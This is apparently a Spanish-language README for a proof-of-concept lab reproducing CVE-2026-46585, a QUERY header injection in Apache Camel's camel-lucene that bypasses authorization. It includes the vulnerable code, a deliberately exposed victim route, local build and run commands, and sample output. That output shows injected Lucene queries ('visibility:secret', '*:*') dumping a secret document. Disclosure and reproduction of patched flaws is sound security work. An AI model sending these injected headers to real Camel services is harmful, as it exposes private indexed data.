
Reproductor para CVE-2026-46585: Inyección de cabecera QUERY en Apache Camel camel-lucene que permite eludir la autorización / exfiltración de datos del índice (corregido en 4.14.8/4.18.3/4.21.0)
QUERY de camel-lucene (CVE-2026-46585)Este proyecto demuestra una inyección de cabecera de mensaje / evasión de autorización en el componente camel-lucene de Apache Camel, registrado como CVE-2026-46585. El productor de consultas Lucene lee la frase de búsqueda de texto completo de una cabecera de Exchange, pero el nombre de la cabecera era la cadena simple QUERY (y RETURN_LUCENE_DOCS para el indicador de documentos). Debido a que estos nombres no comienzan con el prefijo Camel / camel, HttpHeaderFilterStrategy — que bloquea solo el espacio de nombres de cabeceras Camel en el límite HTTP — los deja pasar desde una solicitud HTTP entrante directamente al Exchange. Por lo tanto, cualquier cliente HTTP que acceda a una ruta que exponga una consulta Lucene detrás de un consumidor HTTP puede establecer la cabecera QUERY y hacer que su valor se ejecute contra el índice, anulando la consulta que la ruta pretendía ejecutar.
Este PoC demuestra el impacto como evasión de autorización / exfiltración de datos: un cliente no autenticado inyecta sintaxis de consulta Lucene sin procesar para leer un documento que el endpoint de búsqueda pública nunca debía devolver (y una consulta match-all vuelca todo el índice).
Advisory: https://camel.apache.org/security/CVE-2026-46585.html
| Propiedad | Valor |
|---|---|
| Componente | camel-lucene |
| Clase afectada | org.apache.camel.component.lucene.LuceneQueryProducer leyendo LuceneConstants.HEADER_QUERY (valor "QUERY") |
| CWE | CWE-20 (Validación de Entrada Incorrecta) / CWE-639 (Evasión de Autorización a través de Clave Controlada por el Usuario) |
| Impacto | Un cliente HTTP establece la cabecera QUERY → se ejecuta una consulta Lucene arbitraria → se leen documentos fuera del ámbito previsto, o consultas regex pesadas en CPU |
| Precondiciones | Una ruta expone un productor lucene:...:query detrás de un consumidor HTTP (por ejemplo, platform-http); no autenticado cuando el consumidor lo está |
| Versiones afectadas | Desde 4.0.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Crédito | Andrea Cosentino (Apache Software Foundation) y Yu Bao (PayPal) |
Misma familia de inyección de cabecera que CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 y CVE-2026-46457, y comparte la causa raíz de constante de cabecera sin prefijo
Camelcon el hermano camel-elasticsearchSEARCH_QUERY.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher analiza la frase con un clásico QueryParser("contents", analyzer), por lo que el atacante obtiene toda la sintaxis de consulta Lucene: términos con campo (visibility:secret), match-all (*:*), comodines y expresiones regulares costosas.
La corrección (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renombra los valores de las cabeceras a la convención Camel — HEADER_QUERY de QUERY a CamelLuceneQuery, y HEADER_RETURN_LUCENE_DOCS a CamelLuceneReturnLuceneDocs — para que sean filtrados en el límite HTTP como cualquier otra cabecera de control Camel. Los nombres de los campos constantes no cambian (las rutas que hacen referencia a LuceneConstants.HEADER_QUERY siguen funcionando); es un cambio disruptivo solo para rutas que establecen/leen estas cabeceras por su valor de cadena sin procesar.
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
El modelo de seguridad del autor de la ruta es "este endpoint solo sirve búsqueda pública". Como endurecimiento documentado, la ruta incluso elimina el espacio de nombres de cabeceras de control Camel en el borde con removeHeaders("Camel*"). Eso no ayuda: la cabecera de control se llama QUERY, no CamelLuceneQuery, por lo que no es eliminada ni por esa llamada ni por el filtro de cabeceras HTTP incorporado — que es exactamente el punto del CVE (y exactamente lo que aborda el renombramiento de la corrección).
El índice contiene tres documentos públicos más un documento secreto etiquetado con visibility:secret cuyo cuerpo lleva un marcador de bandera benigno. Una búsqueda pública normal (QUERY=onboarding, un término simple contra el campo predeterminado contents) nunca lo devuelve; una consulta con campo inyectada sí lo hace.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
La búsqueda de término legítima devuelve solo documentos públicos. La solicitud de ataque — que difiere solo por el valor de una única cabecera que el framework debería haber filtrado — lee el documento secreto, y una consulta match-all devuelve todo el índice.
Cualquier ruta con un productor lucene:...:query accesible desde un consumidor HTTP. Más allá de leer documentos no deseados, el atacante puede:
*:* o un predicado de campo diferente (evasión de autorización).